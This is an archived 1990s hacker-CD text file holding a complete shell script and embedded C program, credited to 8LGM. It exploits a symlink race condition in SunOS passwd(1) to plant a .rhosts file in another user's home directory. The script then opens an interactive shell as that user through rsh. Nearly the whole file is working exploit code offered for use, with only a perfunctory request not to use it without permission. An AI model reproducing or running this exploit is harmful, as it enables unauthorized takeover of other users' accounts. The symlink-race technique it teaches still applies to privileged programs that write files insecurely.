home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / PASSWD~1.ZIP / PASSWD~1.TXT
Text File  |  1996-04-27  |  5KB  |  203 lines

  1. #!/bin/sh
  2. #
  3. # Syntax: passwdscript target-user
  4. #
  5. # This exploits a flaw in SunOS passwd(1), and attempts
  6. # to become the specified 'user', by creating a .rhosts
  7. # file and using rsh.
  8. #
  9. # Written 1994 by [8LGM]
  10. # Please do not use this script without permission.
  11. #
  12. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  13. IFS=" "                          export IFS
  14.  
  15. PROG="`basename $0`"
  16.  
  17. # Check args
  18. if [ $# -ne 1 ]; then
  19.         echo "Syntax: $PROG user target-file rsh-user"
  20.         exit 1
  21. fi
  22. TARGET_USER="$1"
  23.  
  24. # Check we're on SunOS
  25. if [ "x`uname -s`" != "xSunOS" ]; then
  26.         echo "Sorry, this only works on SunOS"
  27.         exit 1
  28. fi
  29.  
  30. # Make the race program
  31. cat >passwdrace.c << 'EOF'
  32. #include <sys/types.h>
  33. #include <sys/stat.h>
  34. #include <unistd.h>
  35. #include <fcntl.h>
  36. #include <stdio.h>
  37. #include <signal.h>
  38. #include <pwd.h>
  39.  
  40.  
  41. main(argc, argv)
  42. int argc;
  43. char *argv[];
  44. {
  45.         FILE    *passwd_in, *passwd_out;
  46.     int    race_child_pid = -1;
  47.     struct    stat st;
  48.     struct    passwd *pw;
  49.     char    pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
  50.         buf[1024], cmd[256], nowhere[256], nowhere2[256],
  51.         dir[256];
  52.  
  53.     if (argc != 2) {
  54.         fprintf(stderr, "Usage: %s target-user\n",
  55.             argv[0]);
  56.         exit(1);
  57.     }
  58.  
  59.     /*
  60.      * Get Target User info
  61.      */
  62.     if ((pw = getpwnam(argv[1])) == NULL) {
  63.         fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
  64.             argv[0], argv[1]);
  65.         exit(1);
  66.     }
  67.     strcpy(dir, pw->pw_dir);
  68.  
  69.     /*
  70.      * Set up names for directories/links we will access
  71.      */
  72.     sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
  73.     sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
  74.     sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
  75.     sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
  76.     sprintf(ptmp, "%s/ptmp", dir);
  77.     symlink(pwd_dir, pwd_link);
  78.  
  79.     /*
  80.      * Build temp password file in /tmp/passwd-dir.$$/.rhosts.
  81.      * The bigger our 'passwd file', the longer passwd(1) takes
  82.      * to write it out, the greater chance we have of noticing
  83.      * it doing so and winning the race.
  84.      */
  85.     mkdir(pwd_dir, 0700);
  86.     sprintf(pwd_file, "%s/.rhosts", pwd_dir);
  87.     if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
  88.         fprintf(stderr, "Cant open %s!\n", pwd_file);
  89.         exit(1);
  90.     }
  91.     if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
  92.         fprintf(stderr, "Cant open /etc/passwd\n");
  93.         exit(1);
  94.     }
  95.     if ((pw = getpwuid(getuid())) == NULL) {
  96.         fprintf(stderr, "Who are you?\n");
  97.         exit(1);
  98.     }
  99.     fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
  100.     for (;;) {
  101.         fseek(passwd_in, 0L, SEEK_SET);
  102.         while(fgets(buf, sizeof(buf), passwd_in))
  103.             fputs(buf, passwd_out);
  104.         if (ftell(passwd_out) > 32768)
  105.             break;
  106.     }
  107.     fclose(passwd_in);
  108.     fflush(passwd_out);
  109.  
  110.     /*
  111.      * Fork a new process.  In the parent, run passwd -F.
  112.      * In the child, run the race process(es).
  113.      */
  114.     if ((race_child_pid = fork()) < 0) {
  115.         perror("fork");
  116.         exit(1);
  117.     }
  118.     if (race_child_pid) {
  119.         /*
  120.          * Parent - run passwd -F
  121.          */
  122.         sprintf(pwd_file, "%s/.rhosts", pwd_link);
  123.         puts("Wait until told you see \"Enter your password now!\"");
  124.         sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
  125.         system(cmd);
  126.         kill(race_child_pid, 9);
  127.         exit(0);
  128.     } else {
  129.         /*
  130.          * Child
  131.          */
  132.         int fd = fileno(passwd_out);
  133.         time_t last_access;
  134.  
  135.         /*
  136.          * Remember the current 'last accessed'
  137.          * time for our password file.  Once this
  138.          * changes it, we know passwd(1) is reading
  139.          * it, and we can switch the symlink.
  140.          */
  141.         if (fstat(fd, &st)) {
  142.             perror("fstat");
  143.             exit(1);
  144.         }
  145.         last_access = st.st_atime;
  146.  
  147.         /*
  148.          * Give passwd(1) a chance to start up.
  149.          * and do its initialisations.  Hopefully
  150.          * by now, its asked the user for their
  151.          * password.
  152.          */
  153.         sleep(5);
  154.         write(0, "Enter your password now!\n",
  155.               sizeof("Enter your password now!\n"));
  156.  
  157.         /*
  158.          * Link our directory to our target directory
  159.          */
  160.         unlink(pwd_link);
  161.         symlink(dir, pwd_link);
  162.  
  163.         /*
  164.          * Create two links pointing to nowhere.
  165.          * We use rename(2) to switch these in later.
  166.          * (Using unlink(2)/symlink(2) is too slow).
  167.          */
  168.         symlink(pwd_dir, nowhere);
  169.         symlink(dir, nowhere2);
  170.  
  171.         /*
  172.          * Wait until ptmp exists in our target
  173.          * dir, then switch the link.
  174.          */
  175.         while ((open(ptmp, O_RDONLY)==-1));
  176.         rename(nowhere, pwd_link);
  177.         
  178.         /*
  179.          * Wait until passwd(1) has accessed our
  180.          * 'password file', then switch the link.
  181.          */
  182.         while (last_access == st.st_atime)
  183.             fstat(fd, &st);
  184.         rename(nowhere2, pwd_link);
  185.     }
  186. }
  187. EOF
  188. cc -O -o passwdrace passwdrace.c
  189.  
  190. # Check we now have passwdrace
  191. if [ ! -x "passwdrace" ]; then
  192.         echo "$PROG: couldnt compile passwdrace.c - check it out"
  193.         exit 1
  194. fi
  195.  
  196. # Start passwdrace
  197. ./passwdrace $TARGET_USER
  198.  
  199. # Try to rsh
  200. rsh localhost -l $TARGET_USER sh -i
  201. exit 0
  202.  
  203.